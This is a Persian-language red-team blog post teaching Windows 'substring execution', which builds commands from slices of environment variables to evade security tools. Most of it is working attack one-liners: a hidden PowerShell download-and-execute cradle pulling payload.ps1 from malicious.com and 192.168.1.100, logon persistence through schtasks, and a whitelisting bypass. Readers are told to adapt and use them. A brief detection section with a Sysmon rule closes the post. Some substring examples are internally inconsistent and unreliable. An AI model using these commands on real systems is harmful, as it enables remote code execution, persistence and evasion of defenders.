VulnCity

با تکنیک Substring Execution مکانیزم‌های امنیتی رو بترکون

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۱

Substring Execution: تکنیک Obfuscation در Windows

Substring Execution یکی از تکنیک‌های پیشرفته obfuscation در محیط Windows است که از قابلیت substring در متغیرهای محیطی (Environment Variables) برای مخفی‌سازی دستورات استفاده می‌کند. این روش به مهاجمان اجازه می‌دهد دستورات مخرب را از دید سیستم‌های امنیتی پنهان کنند.

متغیرهای محیطی در Windows

متغیرهای محیطی، مقادیری هستند که توسط سیستم‌عامل تعریف می‌شوند و اطلاعات مهمی درباره محیط سیستم را در خود نگه می‌دارند.

متغیرهای مهم:

# مسیرهای سیستمی
%SystemRoot%          → C:\Windows
%WinDir%              → C:\Windows
%SystemDrive%         → C:
%ProgramFiles%        → C:\Program Files
%ProgramFiles(x86)%   → C:\Program Files (x86)

# مسیرهای کاربر
%UserProfile%         → C:\Users\[Username]
%AppData%             → C:\Users\[Username]\AppData\Roaming
%LocalAppData%        → C:\Users\[Username]\AppData\Local
%Temp%                → C:\Users\[Username]\AppData\Local\Temp

# متغیرهای اجرایی
%Path%                → مسیرهای قابل اجرا در سیستم
%ComSpec%             → C:\Windows\System32\cmd.exe
%PSModulePath%        → مسیرهای ماژول‌های PowerShell

# اطلاعات سیستم
%PROCESSOR_IDENTIFIER%    → اطلاعات پردازنده
%PROCESSOR_ARCHITECTURE%  → معماری پردازنده (AMD64, x86)
%OS%                      → Windows_NT
%NUMBER_OF_PROCESSORS%    → تعداد هسته‌های پردازنده

نکته : متغییرهای محلی در هر سیستم ممکن است متفاوت باشد و احتمال دارد Payload های زیر در سیستم شما جواب ندهند، پس آن ها را بر اساس متغییرهای خود ویرایش کرده و استفاده کنید

سینتکس Substring در CMD

در CMD می‌توانید از substring با فرمت زیر استفاده کنید:

%variable:~start,length%
  • start: موقعیت شروع (از 0 شروع می‌شود)
  • length: تعداد کاراکترهای مورد نظر
  • اگر length منفی باشد، از انتها حساب می‌شود

مثال‌های پایه:

# گرفتن اولین کاراکتر
%SystemRoot:~0,1%     → C

# گرفتن 3 کاراکتر از موقعیت 3
%SystemRoot:~3,7%     → Windows

# گرفتن از انتها
%SystemRoot:~-7%      → Windows

# ترکیب substring‌ها
%SystemRoot:~0,1%%SystemRoot:~10,1%  → Cd

تکنیک Substring Execution

1. ساخت دستور CMD از Path

# تجزیه Path برای ساخت "cmd"
%Path:~83,1%   → c
%Path:~85,1%   → m
%Path:~90,1%   → d

# اجرای cmd
%Path:~83,1%%Path:~85,1%%Path:~90,1%

2. ساخت PowerShell از Path

# استخراج "powershell" از Path
%Path:~83,5%   → power
%Path:~125,2%  → sh
%Path:~90,3%   → ell

# اجرای PowerShell با obfuscation
%Path:~83,5%%Path:~125,2%%Path:~90,3% -c Get-Process

3. Obfuscation پیشرفته با چند متغیر

# ترکیب چند متغیر محیطی
%PSModulePath:~24,10% " %PROCESSOR_IDENTIFIER:~0,1%%PROCESSOR_IDENTIFIER:~3,1%%ComSpec:~25,1%(New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1');"

این دستور:

  • از PSModulePath برای استخراج "powershell" استفاده می‌کند
  • از PROCESSOR_IDENTIFIER و ComSpec برای ساخت "IEX" استفاده می‌کند
  • یک payload از سرور remote دانلود و اجرا می‌کند

تکنیک‌های پیشرفته

1. استفاده از Delayed Expansion

cmd /V /C "set unique=tsal/ik v &&FOR %A IN (0 2 1 6 3 5 1 0 7 4 8) Do set final=!final!!unique:~%A,1!&& CALL %final:~-11%"

این دستور:

  • رشته "tsal/ik v" را معکوس می‌کند
  • با استفاده از حلقه FOR، کاراکترها را به ترتیب خاص چیده و "tasklist /v" می‌سازد
  • از Delayed Expansion (!variable!) برای اجرای پویا استفاده می‌کند

2. ساخت دستورات پیچیده

# مخفی‌سازی Get-Process
%Path:~83,5%%Path:~125,2%%Path:~90,3% -c get-pro%SystemRoot:~0,1%ess

# که معادل است با:
powershell -c get-process

3. Bypass فیلترهای امنیتی

# به جای نوشتن مستقیم "Invoke-Expression"
%ComSpec:~0,1%%ComSpec:~5,1%%ComSpec:~25,1%

# ساخت "IEX" از متغیرهای مختلف
%PROCESSOR_IDENTIFIER:~0,1%%PROCESSOR_IDENTIFIER:~3,1%%ComSpec:~25,1%

کاربردهای عملی در Red Teaming

1. Download و Execute

%Path:~83,5%%Path:~125,2%%Path:~90,3% -w hidden -c "$d=(New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1');%ComSpec:~0,1%%ComSpec:~5,1%%ComSpec:~25,1% $d"

2. Persistence با Obfuscation

schtasks /create /tn "Update" /tr "%Path:~83,5%%Path:~125,2%%Path:~90,3% -w hidden -c <obfuscated_payload>" /sc onlogon

3. Bypass Application Whitelisting

# اجرای دستور بدون استفاده از کلمات کلیدی مشهور
%ComSpec% /c %Path:~83,1%%Path:~85,1%%Path:~90,1% /c <command>

تشخیص و دفاع

نشانه‌های حمله:

  • استفاده مکرر از ~ در command line
  • دستورات طولانی با substring‌های متعدد
  • استفاده از /V flag در CMD (Delayed Expansion)
  • ترکیب غیرعادی متغیرهای محیطی

راهکارهای دفاعی:

# 1. فعال‌سازی Command Line Logging
# در Group Policy:
Computer Configuration → Administrative Templates → System → Audit Process Creation
→ Include command line in process creation events

# 2. استفاده از PowerShell Logging
Enable-PSTranscription
Enable-PSScriptBlockLogging

# 3. مانیتورینگ با Sysmon
# قانون Sysmon برای تشخیص substring execution:
<RuleGroup name="Substring Execution Detection">
  <ProcessCreate>
    <CommandLine condition="contains">:~</CommandLine>
    <CommandLine condition="contains">/V /C</CommandLine>
  </ProcessCreate>
</RuleGroup>

ابزارهای تشخیص:

  • Sysmon: مانیتورینگ command line arguments
  • Windows Event Logs: Event ID 4688 (Process Creation)
  • EDR Solutions: تشخیص الگوهای مشکوک
  • YARA Rules: شناسایی pattern‌های obfuscation

نتیجه‌گیری

Substring Execution تکنیکی قدرتمند برای obfuscation است که می‌تواند از دید بسیاری از سیستم‌های امنیتی پنهان بماند. درک این تکنیک برای متخصصان امنیت سایبری ضروری است تا بتوانند:

  • حملات پیشرفته را شناسایی کنند
  • سیستم‌های logging مناسب پیاده‌سازی کنند
  • قوانین detection دقیق بنویسند
  • در مقابل تهدیدات پیشرفته آماده باشند